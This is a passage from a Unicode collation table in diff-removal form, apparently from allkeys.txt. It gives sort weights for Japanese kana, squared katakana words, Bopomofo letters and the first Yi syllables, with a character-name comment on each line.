-305A  ; [.3BD0.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZU
-30BA  ; [.3BD0.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZU
-305B  ; [.3BD1.0020.000E] # HIRAGANA LETTER SE
-30BB  ; [.3BD1.0020.0011] # KATAKANA LETTER SE
-FF7E  ; [.3BD1.0020.0012] # HALFWIDTH KATAKANA LETTER SE
-32DD  ; [.3BD1.0020.0013] # CIRCLED KATAKANA SE
-305C  ; [.3BD1.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZE
-30BC  ; [.3BD1.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZE
-3322  ; [.3BD1.0020.001C][.3BF4.0020.001C][.3BD4.0020.001C] # SQUARE SENTI
-3323  ; [.3BD1.0020.001C][.3BF4.0020.001C][.3BD7.0020.001C] # SQUARE SENTO
-305D  ; [.3BD2.0020.000E] # HIRAGANA LETTER SO
-30BD  ; [.3BD2.0020.0011] # KATAKANA LETTER SO
-FF7F  ; [.3BD2.0020.0012] # HALFWIDTH KATAKANA LETTER SO
-32DE  ; [.3BD2.0020.0013] # CIRCLED KATAKANA SO
-305E  ; [.3BD2.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZO
-30BE  ; [.3BD2.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZO
-305F  ; [.3BD3.0020.000E] # HIRAGANA LETTER TA
-30BF  ; [.3BD3.0020.0011] # KATAKANA LETTER TA
-FF80  ; [.3BD3.0020.0012] # HALFWIDTH KATAKANA LETTER TA
-32DF  ; [.3BD3.0020.0013] # CIRCLED KATAKANA TA
-3060  ; [.3BD3.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DA
-30C0  ; [.3BD3.0020.0011][.0000.0037.0002] # KATAKANA LETTER DA
-3324  ; [.3BD3.0020.001C][.0000.0037.001C][.1B89.0020.001C][.3BD0.0020.001C] # SQUARE DAASU
-3061  ; [.3BD4.0020.000E] # HIRAGANA LETTER TI
-30C1  ; [.3BD4.0020.0011] # KATAKANA LETTER TI
-FF81  ; [.3BD4.0020.0012] # HALFWIDTH KATAKANA LETTER TI
-32E0  ; [.3BD4.0020.0013] # CIRCLED KATAKANA TI
-3062  ; [.3BD4.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DI
-30C2  ; [.3BD4.0020.0011][.0000.0037.0002] # KATAKANA LETTER DI
-3063  ; [.3BD5.0020.000D] # HIRAGANA LETTER SMALL TU
-3064  ; [.3BD5.0020.000E] # HIRAGANA LETTER TU
-30C3  ; [.3BD5.0020.000F] # KATAKANA LETTER SMALL TU
-FF6F  ; [.3BD5.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL TU
-30C4  ; [.3BD5.0020.0011] # KATAKANA LETTER TU
-FF82  ; [.3BD5.0020.0012] # HALFWIDTH KATAKANA LETTER TU
-32E1  ; [.3BD5.0020.0013] # CIRCLED KATAKANA TU
-3065  ; [.3BD5.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DU
-30C5  ; [.3BD5.0020.0011][.0000.0037.0002] # KATAKANA LETTER DU
-3066  ; [.3BD6.0020.000E] # HIRAGANA LETTER TE
-30C6  ; [.3BD6.0020.0011] # KATAKANA LETTER TE
-FF83  ; [.3BD6.0020.0012] # HALFWIDTH KATAKANA LETTER TE
-32E2  ; [.3BD6.0020.0013] # CIRCLED KATAKANA TE
-3067  ; [.3BD6.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DE
-30C7  ; [.3BD6.0020.0011][.0000.0037.0002] # KATAKANA LETTER DE
-1F213 ; [.3BD6.0020.001C][.0000.0037.001C] # SQUARED KATAKANA DE
-3325  ; [.3BD6.0020.001C][.0000.0037.001C][.3BCF.0020.001C] # SQUARE DESI
-3068  ; [.3BD7.0020.000E] # HIRAGANA LETTER TO
-31F3  ; [.3BD7.0020.000F] # KATAKANA LETTER SMALL TO
-30C8  ; [.3BD7.0020.0011] # KATAKANA LETTER TO
-FF84  ; [.3BD7.0020.0012] # HALFWIDTH KATAKANA LETTER TO
-32E3  ; [.3BD7.0020.0013] # CIRCLED KATAKANA TO
-3069  ; [.3BD7.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DO
-30C9  ; [.3BD7.0020.0011][.0000.0037.0002] # KATAKANA LETTER DO
-3326  ; [.3BD7.0020.001C][.0000.0037.001C][.3BED.0020.001C] # SQUARE DORU
-3327  ; [.3BD7.0020.001C][.3BF4.0020.001C] # SQUARE TON
-306A  ; [.3BD8.0020.000E] # HIRAGANA LETTER NA
-30CA  ; [.3BD8.0020.0011] # KATAKANA LETTER NA
-FF85  ; [.3BD8.0020.0012] # HALFWIDTH KATAKANA LETTER NA
-32E4  ; [.3BD8.0020.0013] # CIRCLED KATAKANA NA
-3328  ; [.3BD8.0020.001C][.3BDC.0020.001C] # SQUARE NANO
-306B  ; [.3BD9.0020.000E] # HIRAGANA LETTER NI
-30CB  ; [.3BD9.0020.0011] # KATAKANA LETTER NI
-FF86  ; [.3BD9.0020.0012] # HALFWIDTH KATAKANA LETTER NI
-32E5  ; [.3BD9.0020.0013] # CIRCLED KATAKANA NI
-306C  ; [.3BDA.0020.000E] # HIRAGANA LETTER NU
-31F4  ; [.3BDA.0020.000F] # KATAKANA LETTER SMALL NU
-30CC  ; [.3BDA.0020.0011] # KATAKANA LETTER NU
-FF87  ; [.3BDA.0020.0012] # HALFWIDTH KATAKANA LETTER NU
-32E6  ; [.3BDA.0020.0013] # CIRCLED KATAKANA NU
-306D  ; [.3BDB.0020.000E] # HIRAGANA LETTER NE
-30CD  ; [.3BDB.0020.0011] # KATAKANA LETTER NE
-FF88  ; [.3BDB.0020.0012] # HALFWIDTH KATAKANA LETTER NE
-32E7  ; [.3BDB.0020.0013] # CIRCLED KATAKANA NE
-306E  ; [.3BDC.0020.000E] # HIRAGANA LETTER NO
-30CE  ; [.3BDC.0020.0011] # KATAKANA LETTER NO
-FF89  ; [.3BDC.0020.0012] # HALFWIDTH KATAKANA LETTER NO
-32E8  ; [.3BDC.0020.0013] # CIRCLED KATAKANA NO
-3329  ; [.3BDC.0020.001C][.3BD5.0020.001C][.3BD7.0020.001C] # SQUARE NOTTO
-306F  ; [.3BDD.0020.000E] # HIRAGANA LETTER HA
-31F5  ; [.3BDD.0020.000F] # KATAKANA LETTER SMALL HA
-30CF  ; [.3BDD.0020.0011] # KATAKANA LETTER HA
-FF8A  ; [.3BDD.0020.0012] # HALFWIDTH KATAKANA LETTER HA
-32E9  ; [.3BDD.0020.0013] # CIRCLED KATAKANA HA
-3070  ; [.3BDD.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BA
-30D0  ; [.3BDD.0020.0011][.0000.0037.0002] # KATAKANA LETTER BA
-3071  ; [.3BDD.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PA
-30D1  ; [.3BDD.0020.0011][.0000.0038.0002] # KATAKANA LETTER PA
-332B  ; [.3BDD.0020.001C][.0000.0038.001C][.1B89.0020.001C][.3BD1.0020.001C][.3BF4.0020.001C][.3BD7.0020.001C] # SQUARE PAASENTO
-332C  ; [.3BDD.0020.001C][.0000.0038.001C][.1B89.0020.001C][.3BD5.0020.001C] # SQUARE PAATU
-332D  ; [.3BDD.0020.001C][.0000.0037.001C][.1B89.0020.001C][.3BEE.0020.001C][.3BED.0020.001C] # SQUARE BAARERU
-332A  ; [.3BDD.0020.001C][.3BC4.0020.001C][.3BD5.0020.001C] # SQUARE HAITU
-3072  ; [.3BDE.0020.000E] # HIRAGANA LETTER HI
-31F6  ; [.3BDE.0020.000F] # KATAKANA LETTER SMALL HI
-30D2  ; [.3BDE.0020.0011] # KATAKANA LETTER HI
-FF8B  ; [.3BDE.0020.0012] # HALFWIDTH KATAKANA LETTER HI
-32EA  ; [.3BDE.0020.0013] # CIRCLED KATAKANA HI
-3073  ; [.3BDE.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BI
-30D3  ; [.3BDE.0020.0011][.0000.0037.0002] # KATAKANA LETTER BI
-3074  ; [.3BDE.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PI
-30D4  ; [.3BDE.0020.0011][.0000.0038.0002] # KATAKANA LETTER PI
-332E  ; [.3BDE.0020.001C][.0000.0038.001C][.3BC3.0020.001C][.3BD0.0020.001C][.3BD7.0020.001C][.3BED.0020.001C] # SQUARE PIASUTORU
-332F  ; [.3BDE.0020.001C][.0000.0038.001C][.3BCB.0020.001C][.3BED.0020.001C] # SQUARE PIKURU
-3330  ; [.3BDE.0020.001C][.0000.0038.001C][.3BCD.0020.001C] # SQUARE PIKO
-3331  ; [.3BDE.0020.001C][.0000.0037.001C][.3BED.0020.001C] # SQUARE BIRU
-3075  ; [.3BDF.0020.000E] # HIRAGANA LETTER HU
-31F7  ; [.3BDF.0020.000F] # KATAKANA LETTER SMALL HU
-30D5  ; [.3BDF.0020.0011] # KATAKANA LETTER HU
-FF8C  ; [.3BDF.0020.0012] # HALFWIDTH KATAKANA LETTER HU
-32EB  ; [.3BDF.0020.0013] # CIRCLED KATAKANA HU
-3076  ; [.3BDF.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BU
-30D6  ; [.3BDF.0020.0011][.0000.0037.0002] # KATAKANA LETTER BU
-3077  ; [.3BDF.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PU
-30D7  ; [.3BDF.0020.0011][.0000.0038.0002] # KATAKANA LETTER PU
-3332  ; [.3BDF.0020.001C][.3BC3.0020.001C][.3BEB.0020.001C][.3BD5.0020.001C][.3BD7.0020.001C][.0000.0037.001C] # SQUARE HUARADDO
-3333  ; [.3BDF.0020.001C][.3BC4.0020.001C][.1B89.0020.001C][.3BD7.0020.001C] # SQUARE HUIITO
-3334  ; [.3BDF.0020.001C][.0000.0037.001C][.3BD5.0020.001C][.3BCF.0020.001C][.3BC7.0020.001C][.3BED.0020.001C] # SQUARE BUSSYERU
-3335  ; [.3BDF.0020.001C][.3BEB.0020.001C][.3BF4.0020.001C] # SQUARE HURAN
-3078  ; [.3BE0.0020.000E] # HIRAGANA LETTER HE
-31F8  ; [.3BE0.0020.000F] # KATAKANA LETTER SMALL HE
-30D8  ; [.3BE0.0020.0011] # KATAKANA LETTER HE
-FF8D  ; [.3BE0.0020.0012] # HALFWIDTH KATAKANA LETTER HE
-32EC  ; [.3BE0.0020.0013] # CIRCLED KATAKANA HE
-3079  ; [.3BE0.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BE
-30D9  ; [.3BE0.0020.0011][.0000.0037.0002] # KATAKANA LETTER BE
-307A  ; [.3BE0.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PE
-30DA  ; [.3BE0.0020.0011][.0000.0038.0002] # KATAKANA LETTER PE
-333B  ; [.3BE0.0020.001C][.0000.0038.001C][.1B89.0020.001C][.3BCF.0020.001C][.0000.0037.001C] # SQUARE PEEZI
-333C  ; [.3BE0.0020.001C][.0000.0037.001C][.1B89.0020.001C][.3BD3.0020.001C] # SQUARE BEETA
-3336  ; [.3BE0.0020.001C][.3BCB.0020.001C][.3BD3.0020.001C][.1B89.0020.001C][.3BED.0020.001C] # SQUARE HEKUTAARU
-3337  ; [.3BE0.0020.001C][.0000.0038.001C][.3BD2.0020.001C] # SQUARE PESO
-3338  ; [.3BE0.0020.001C][.0000.0038.001C][.3BD9.0020.001C][.3BDE.0020.001C] # SQUARE PENIHI
-3339  ; [.3BE0.0020.001C][.3BED.0020.001C][.3BD5.0020.001C] # SQUARE HERUTU
-333A  ; [.3BE0.0020.001C][.0000.0038.001C][.3BF4.0020.001C][.3BD0.0020.001C] # SQUARE PENSU
-307B  ; [.3BE1.0020.000E] # HIRAGANA LETTER HO
-31F9  ; [.3BE1.0020.000F] # KATAKANA LETTER SMALL HO
-30DB  ; [.3BE1.0020.0011] # KATAKANA LETTER HO
-FF8E  ; [.3BE1.0020.0012] # HALFWIDTH KATAKANA LETTER HO
-32ED  ; [.3BE1.0020.0013] # CIRCLED KATAKANA HO
-307C  ; [.3BE1.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BO
-30DC  ; [.3BE1.0020.0011][.0000.0037.0002] # KATAKANA LETTER BO
-307D  ; [.3BE1.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PO
-30DD  ; [.3BE1.0020.0011][.0000.0038.0002] # KATAKANA LETTER PO
-3341  ; [.3BE1.0020.001C][.1B89.0020.001C][.3BED.0020.001C] # SQUARE HOORU
-3342  ; [.3BE1.0020.001C][.1B89.0020.001C][.3BF4.0020.001C] # SQUARE HOON
-333D  ; [.3BE1.0020.001C][.0000.0038.001C][.3BC4.0020.001C][.3BF4.0020.001C][.3BD7.0020.001C] # SQUARE POINTO
-1F200 ; [.3BE1.0020.001C][.3BC9.0020.001C] # SQUARE HIRAGANA HOKA
-333E  ; [.3BE1.0020.001C][.0000.0037.001C][.3BED.0020.001C][.3BD7.0020.001C] # SQUARE BORUTO
-333F  ; [.3BE1.0020.001C][.3BF4.0020.001C] # SQUARE HON
-3340  ; [.3BE1.0020.001C][.0000.0038.001C][.3BF4.0020.001C][.3BD7.0020.001C][.0000.0037.001C] # SQUARE PONDO
-307E  ; [.3BE2.0020.000E] # HIRAGANA LETTER MA
-30DE  ; [.3BE2.0020.0011] # KATAKANA LETTER MA
-FF8F  ; [.3BE2.0020.0012] # HALFWIDTH KATAKANA LETTER MA
-32EE  ; [.3BE2.0020.0013] # CIRCLED KATAKANA MA
-3343  ; [.3BE2.0020.001C][.3BC4.0020.001C][.3BCB.0020.001C][.3BEF.0020.001C] # SQUARE MAIKURO
-3344  ; [.3BE2.0020.001C][.3BC4.0020.001C][.3BED.0020.001C] # SQUARE MAIRU
-303C  ; [.3BE2.0020.0004][.3BD0.0020.0004] # MASU MARK
-3345  ; [.3BE2.0020.001C][.3BD5.0020.001C][.3BDD.0020.001C] # SQUARE MAHHA
-3346  ; [.3BE2.0020.001C][.3BED.0020.001C][.3BCB.0020.001C] # SQUARE MARUKU
-3347  ; [.3BE2.0020.001C][.3BF4.0020.001C][.3BCF.0020.001C][.3BEA.0020.001C][.3BF4.0020.001C] # SQUARE MANSYON
-307F  ; [.3BE3.0020.000E] # HIRAGANA LETTER MI
-30DF  ; [.3BE3.0020.0011] # KATAKANA LETTER MI
-FF90  ; [.3BE3.0020.0012] # HALFWIDTH KATAKANA LETTER MI
-32EF  ; [.3BE3.0020.0013] # CIRCLED KATAKANA MI
-3348  ; [.3BE3.0020.001C][.3BCB.0020.001C][.3BEF.0020.001C][.3BF4.0020.001C] # SQUARE MIKURON
-3349  ; [.3BE3.0020.001C][.3BEC.0020.001C] # SQUARE MIRI
-334A  ; [.3BE3.0020.001C][.3BEC.0020.001C][.3BDD.0020.001C][.0000.0037.001C][.1B89.0020.001C][.3BED.0020.001C] # SQUARE MIRIBAARU
-3080  ; [.3BE4.0020.000E] # HIRAGANA LETTER MU
-31FA  ; [.3BE4.0020.000F] # KATAKANA LETTER SMALL MU
-30E0  ; [.3BE4.0020.0011] # KATAKANA LETTER MU
-FF91  ; [.3BE4.0020.0012] # HALFWIDTH KATAKANA LETTER MU
-32F0  ; [.3BE4.0020.0013] # CIRCLED KATAKANA MU
-3081  ; [.3BE5.0020.000E] # HIRAGANA LETTER ME
-30E1  ; [.3BE5.0020.0011] # KATAKANA LETTER ME
-FF92  ; [.3BE5.0020.0012] # HALFWIDTH KATAKANA LETTER ME
-32F1  ; [.3BE5.0020.0013] # CIRCLED KATAKANA ME
-334D  ; [.3BE5.0020.001C][.1B89.0020.001C][.3BD7.0020.001C][.3BED.0020.001C] # SQUARE MEETORU
-334B  ; [.3BE5.0020.001C][.3BC9.0020.001C][.0000.0037.001C] # SQUARE MEGA
-334C  ; [.3BE5.0020.001C][.3BC9.0020.001C][.0000.0037.001C][.3BD7.0020.001C][.3BF4.0020.001C] # SQUARE MEGATON
-3082  ; [.3BE6.0020.000E] # HIRAGANA LETTER MO
-30E2  ; [.3BE6.0020.0011] # KATAKANA LETTER MO
-FF93  ; [.3BE6.0020.0012] # HALFWIDTH KATAKANA LETTER MO
-32F2  ; [.3BE6.0020.0013] # CIRCLED KATAKANA MO
-3083  ; [.3BE7.0020.000D] # HIRAGANA LETTER SMALL YA
-3084  ; [.3BE7.0020.000E] # HIRAGANA LETTER YA
-30E3  ; [.3BE7.0020.000F] # KATAKANA LETTER SMALL YA
-FF6C  ; [.3BE7.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL YA
-30E4  ; [.3BE7.0020.0011] # KATAKANA LETTER YA
-FF94  ; [.3BE7.0020.0012] # HALFWIDTH KATAKANA LETTER YA
-32F3  ; [.3BE7.0020.0013] # CIRCLED KATAKANA YA
-334E  ; [.3BE7.0020.001C][.1B89.0020.001C][.3BD7.0020.001C][.0000.0037.001C] # SQUARE YAADO
-334F  ; [.3BE7.0020.001C][.1B89.0020.001C][.3BED.0020.001C] # SQUARE YAARU
-3085  ; [.3BE8.0020.000D] # HIRAGANA LETTER SMALL YU
-3086  ; [.3BE8.0020.000E] # HIRAGANA LETTER YU
-30E5  ; [.3BE8.0020.000F] # KATAKANA LETTER SMALL YU
-FF6D  ; [.3BE8.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL YU
-30E6  ; [.3BE8.0020.0011] # KATAKANA LETTER YU
-FF95  ; [.3BE8.0020.0012] # HALFWIDTH KATAKANA LETTER YU
-32F4  ; [.3BE8.0020.0013] # CIRCLED KATAKANA YU
-3350  ; [.3BE8.0020.001C][.3BC3.0020.001C][.3BF4.0020.001C] # SQUARE YUAN
-1B001 ; [.3BE9.0020.000E] # HIRAGANA LETTER ARCHAIC YE
-3087  ; [.3BEA.0020.000D] # HIRAGANA LETTER SMALL YO
-3088  ; [.3BEA.0020.000E] # HIRAGANA LETTER YO
-30E7  ; [.3BEA.0020.000F] # KATAKANA LETTER SMALL YO
-FF6E  ; [.3BEA.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL YO
-30E8  ; [.3BEA.0020.0011] # KATAKANA LETTER YO
-FF96  ; [.3BEA.0020.0012] # HALFWIDTH KATAKANA LETTER YO
-32F5  ; [.3BEA.0020.0013] # CIRCLED KATAKANA YO
-309F  ; [.3BEA.0020.0016][.3BEC.0020.0016] # HIRAGANA DIGRAPH YORI
-3089  ; [.3BEB.0020.000E] # HIRAGANA LETTER RA
-31FB  ; [.3BEB.0020.000F] # KATAKANA LETTER SMALL RA
-30E9  ; [.3BEB.0020.0011] # KATAKANA LETTER RA
-FF97  ; [.3BEB.0020.0012] # HALFWIDTH KATAKANA LETTER RA
-32F6  ; [.3BEB.0020.0013] # CIRCLED KATAKANA RA
-308A  ; [.3BEC.0020.000E] # HIRAGANA LETTER RI
-31FC  ; [.3BEC.0020.000F] # KATAKANA LETTER SMALL RI
-30EA  ; [.3BEC.0020.0011] # KATAKANA LETTER RI
-FF98  ; [.3BEC.0020.0012] # HALFWIDTH KATAKANA LETTER RI
-32F7  ; [.3BEC.0020.0013] # CIRCLED KATAKANA RI
-3351  ; [.3BEC.0020.001C][.3BD5.0020.001C][.3BD7.0020.001C][.3BED.0020.001C] # SQUARE RITTORU
-3352  ; [.3BEC.0020.001C][.3BEB.0020.001C] # SQUARE RIRA
-308B  ; [.3BED.0020.000E] # HIRAGANA LETTER RU
-31FD  ; [.3BED.0020.000F] # KATAKANA LETTER SMALL RU
-30EB  ; [.3BED.0020.0011] # KATAKANA LETTER RU
-FF99  ; [.3BED.0020.0012] # HALFWIDTH KATAKANA LETTER RU
-32F8  ; [.3BED.0020.0013] # CIRCLED KATAKANA RU
-3354  ; [.3BED.0020.001C][.1B89.0020.001C][.3BDF.0020.001C][.0000.0037.001C][.3BED.0020.001C] # SQUARE RUUBURU
-3353  ; [.3BED.0020.001C][.3BDE.0020.001C][.0000.0038.001C][.1B89.0020.001C] # SQUARE RUPII
-308C  ; [.3BEE.0020.000E] # HIRAGANA LETTER RE
-31FE  ; [.3BEE.0020.000F] # KATAKANA LETTER SMALL RE
-30EC  ; [.3BEE.0020.0011] # KATAKANA LETTER RE
-FF9A  ; [.3BEE.0020.0012] # HALFWIDTH KATAKANA LETTER RE
-32F9  ; [.3BEE.0020.0013] # CIRCLED KATAKANA RE
-3355  ; [.3BEE.0020.001C][.3BE4.0020.001C] # SQUARE REMU
-3356  ; [.3BEE.0020.001C][.3BF4.0020.001C][.3BD7.0020.001C][.3BCC.0020.001C][.0000.0037.001C][.3BF4.0020.001C] # SQUARE RENTOGEN
-308D  ; [.3BEF.0020.000E] # HIRAGANA LETTER RO
-31FF  ; [.3BEF.0020.000F] # KATAKANA LETTER SMALL RO
-30ED  ; [.3BEF.0020.0011] # KATAKANA LETTER RO
-FF9B  ; [.3BEF.0020.0012] # HALFWIDTH KATAKANA LETTER RO
-32FA  ; [.3BEF.0020.0013] # CIRCLED KATAKANA RO
-308E  ; [.3BF0.0020.000D] # HIRAGANA LETTER SMALL WA
-308F  ; [.3BF0.0020.000E] # HIRAGANA LETTER WA
-30EE  ; [.3BF0.0020.000F] # KATAKANA LETTER SMALL WA
-30EF  ; [.3BF0.0020.0011] # KATAKANA LETTER WA
-FF9C  ; [.3BF0.0020.0012] # HALFWIDTH KATAKANA LETTER WA
-32FB  ; [.3BF0.0020.0013] # CIRCLED KATAKANA WA
-30F7  ; [.3BF0.0020.0011][.0000.0037.0002] # KATAKANA LETTER VA
-3357  ; [.3BF0.0020.001C][.3BD5.0020.001C][.3BD7.0020.001C] # SQUARE WATTO
-3090  ; [.3BF1.0020.000E] # HIRAGANA LETTER WI
-30F0  ; [.3BF1.0020.0011] # KATAKANA LETTER WI
-32FC  ; [.3BF1.0020.0013] # CIRCLED KATAKANA WI
-30F8  ; [.3BF1.0020.0011][.0000.0037.0002] # KATAKANA LETTER VI
-3091  ; [.3BF2.0020.000E] # HIRAGANA LETTER WE
-30F1  ; [.3BF2.0020.0011] # KATAKANA LETTER WE
-32FD  ; [.3BF2.0020.0013] # CIRCLED KATAKANA WE
-30F9  ; [.3BF2.0020.0011][.0000.0037.0002] # KATAKANA LETTER VE
-3092  ; [.3BF3.0020.000E] # HIRAGANA LETTER WO
-30F2  ; [.3BF3.0020.0011] # KATAKANA LETTER WO
-FF66  ; [.3BF3.0020.0012] # HALFWIDTH KATAKANA LETTER WO
-32FE  ; [.3BF3.0020.0013] # CIRCLED KATAKANA WO
-30FA  ; [.3BF3.0020.0011][.0000.0037.0002] # KATAKANA LETTER VO
-3093  ; [.3BF4.0020.000E] # HIRAGANA LETTER N
-30F3  ; [.3BF4.0020.0011] # KATAKANA LETTER N
-FF9D  ; [.3BF4.0020.0012] # HALFWIDTH KATAKANA LETTER N
-3105  ; [.3BF5.0020.0002] # BOPOMOFO LETTER B
-31A0  ; [.3BF5.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER BU
-3106  ; [.3BF6.0020.0002] # BOPOMOFO LETTER P
-31B4  ; [.3BF6.0020.0019] # BOPOMOFO FINAL LETTER P
-3107  ; [.3BF7.0020.0002] # BOPOMOFO LETTER M
-3108  ; [.3BF8.0020.0002] # BOPOMOFO LETTER F
-312A  ; [.3BF9.0020.0002] # BOPOMOFO LETTER V
-3109  ; [.3BFA.0020.0002] # BOPOMOFO LETTER D
-310A  ; [.3BFB.0020.0002] # BOPOMOFO LETTER T
-31B5  ; [.3BFB.0020.0019] # BOPOMOFO FINAL LETTER T
-310B  ; [.3BFC.0020.0002] # BOPOMOFO LETTER N
-310C  ; [.3BFD.0020.0002] # BOPOMOFO LETTER L
-310D  ; [.3BFE.0020.0002] # BOPOMOFO LETTER G
-31A3  ; [.3BFE.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER GU
-310E  ; [.3BFF.0020.0002] # BOPOMOFO LETTER K
-31B6  ; [.3BFF.0020.0019] # BOPOMOFO FINAL LETTER K
-312B  ; [.3C00.0020.0002] # BOPOMOFO LETTER NG
-31AD  ; [.3C01.0020.0002] # BOPOMOFO LETTER NGG
-310F  ; [.3C02.0020.0002] # BOPOMOFO LETTER H
-31B7  ; [.3C02.0020.0019] # BOPOMOFO FINAL LETTER H
-3110  ; [.3C03.0020.0002] # BOPOMOFO LETTER J
-31A2  ; [.3C03.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER JI
-3111  ; [.3C04.0020.0002] # BOPOMOFO LETTER Q
-3112  ; [.3C05.0020.0002] # BOPOMOFO LETTER X
-312C  ; [.3C06.0020.0002] # BOPOMOFO LETTER GN
-3113  ; [.3C07.0020.0002] # BOPOMOFO LETTER ZH
-3114  ; [.3C08.0020.0002] # BOPOMOFO LETTER CH
-3115  ; [.3C09.0020.0002] # BOPOMOFO LETTER SH
-3116  ; [.3C0A.0020.0002] # BOPOMOFO LETTER R
-3117  ; [.3C0B.0020.0002] # BOPOMOFO LETTER Z
-31A1  ; [.3C0B.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER ZI
-3118  ; [.3C0C.0020.0002] # BOPOMOFO LETTER C
-3119  ; [.3C0D.0020.0002] # BOPOMOFO LETTER S
-31B8  ; [.3C0E.0020.0002] # BOPOMOFO LETTER GH
-31B9  ; [.3C0F.0020.0002] # BOPOMOFO LETTER LH
-31BA  ; [.3C10.0020.0002] # BOPOMOFO LETTER ZY
-311A  ; [.3C11.0020.0002] # BOPOMOFO LETTER A
-31A9  ; [.3C11.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER ANN
-311B  ; [.3C12.0020.0002] # BOPOMOFO LETTER O
-31A7  ; [.3C12.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER ONN
-31A6  ; [.3C13.0020.0002] # BOPOMOFO LETTER OO
-311C  ; [.3C14.0020.0002] # BOPOMOFO LETTER E
-311D  ; [.3C15.0020.0002] # BOPOMOFO LETTER EH
-31A4  ; [.3C16.0020.0002] # BOPOMOFO LETTER EE
-31A5  ; [.3C16.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER ENN
-311E  ; [.3C17.0020.0002] # BOPOMOFO LETTER AI
-31AE  ; [.3C17.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER AINN
-311F  ; [.3C18.0020.0002] # BOPOMOFO LETTER EI
-3120  ; [.3C19.0020.0002] # BOPOMOFO LETTER AU
-31AF  ; [.3C19.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER AUNN
-3121  ; [.3C1A.0020.0002] # BOPOMOFO LETTER OU
-3122  ; [.3C1B.0020.0002] # BOPOMOFO LETTER AN
-3123  ; [.3C1C.0020.0002] # BOPOMOFO LETTER EN
-3124  ; [.3C1D.0020.0002] # BOPOMOFO LETTER ANG
-31B2  ; [.3C1E.0020.0002] # BOPOMOFO LETTER ONG
-3125  ; [.3C1F.0020.0002] # BOPOMOFO LETTER ENG
-31B0  ; [.3C20.0020.0002] # BOPOMOFO LETTER AM
-31B1  ; [.3C21.0020.0002] # BOPOMOFO LETTER OM
-31AC  ; [.3C22.0020.0002] # BOPOMOFO LETTER IM
-3126  ; [.3C23.0020.0002] # BOPOMOFO LETTER ER
-3127  ; [.3C24.0020.0002] # BOPOMOFO LETTER I
-31AA  ; [.3C24.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER INN
-31B3  ; [.3C24.0020.0016][.0000.010C.0016] # BOPOMOFO LETTER INNN
-3128  ; [.3C25.0020.0002] # BOPOMOFO LETTER U
-31AB  ; [.3C25.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER UNN
-31A8  ; [.3C25.0020.0004][.0000.010D.0004] # BOPOMOFO LETTER IR
-3129  ; [.3C26.0020.0002] # BOPOMOFO LETTER IU
-312D  ; [.3C27.0020.0002] # BOPOMOFO LETTER IH
-A000  ; [.3C28.0020.0002] # YI SYLLABLE IT
-A001  ; [.3C29.0020.0002] # YI SYLLABLE IX
-A002  ; [.3C2A.0020.0002] # YI SYLLABLE I
-A003  ; [.3C2B.0020.0002] # YI SYLLABLE IP
-A004  ; [.3C2C.0020.0002] # YI SYLLABLE IET
-A005  ; [.3C2D.0020.0002] # YI SYLLABLE IEX
-A006  ; [.3C2E.0020.0002] # YI SYLLABLE IE
-A007  ; [.3C2F.0020.0002] # YI SYLLABLE IEP
-A008  ; [.3C30.0020.0002] # YI SYLLABLE AT
-A009  ; [.3C31.0020.0002] # YI SYLLABLE AX
-A00A  ; [.3C32.0020.0002] # YI SYLLABLE A
-A00B  ; [.3C33.0020.0002] # YI SYLLABLE AP
-A00C  ; [.3C34.0020.0002] # YI SYLLABLE UOX
-A00D  ; [.3C35.0020.0002] # YI SYLLABLE UO
-A00E  ; [.3C36.0020.0002] # YI SYLLABLE UOP
-A00F  ; [.3C37.0020.0002] # YI SYLLABLE OT
-A010  ; [.3C38.0020.0002] # YI SYLLABLE OX
-A011  ; [.3C39.0020.0002] # YI SYLLABLE O
-A012  ; [.3C3A.0020.0002] # YI SYLLABLE OP
-A013  ; [.3C3B.0020.0002] # YI SYLLABLE EX
-A014  ; [.3C3C.0020.0002] # YI SYLLABLE E
-A015  ; [.3C3D.0020.0002] # YI SYLLABLE WU
-A016  ; [.3C3E.0020.0002] # YI SYLLABLE BIT
-A017  ; [.3C3F.0020.0002] # YI SYLLABLE BIX
-A018  ; [.3C40.0020.0002] # YI SYLLABLE BI
-A019  ; [.3C41.0020.0002] # YI SYLLABLE BIP
-A01A  ; [.3C42.0020.0002] # YI SYLLABLE BIET
-A01B  ; [.3C43.0020.0002] # YI SYLLABLE BIEX
-A01C  ; [.3C44.0020.0002] # YI SYLLABLE BIE
-A01D  ; [.3C45.0020.0002] # YI SYLLABLE BIEP
-A01E  ; [.3C46.0020.0002] # YI SYLLABLE BAT
-A01F  ; [.3C47.0020.0002] # YI SYLLABLE BAX
-A020  ; [.3C48.0020.0002] # YI SYLLABLE BA
-A021  ; [.3C49.0020.0002] # YI SYLLABLE BAP
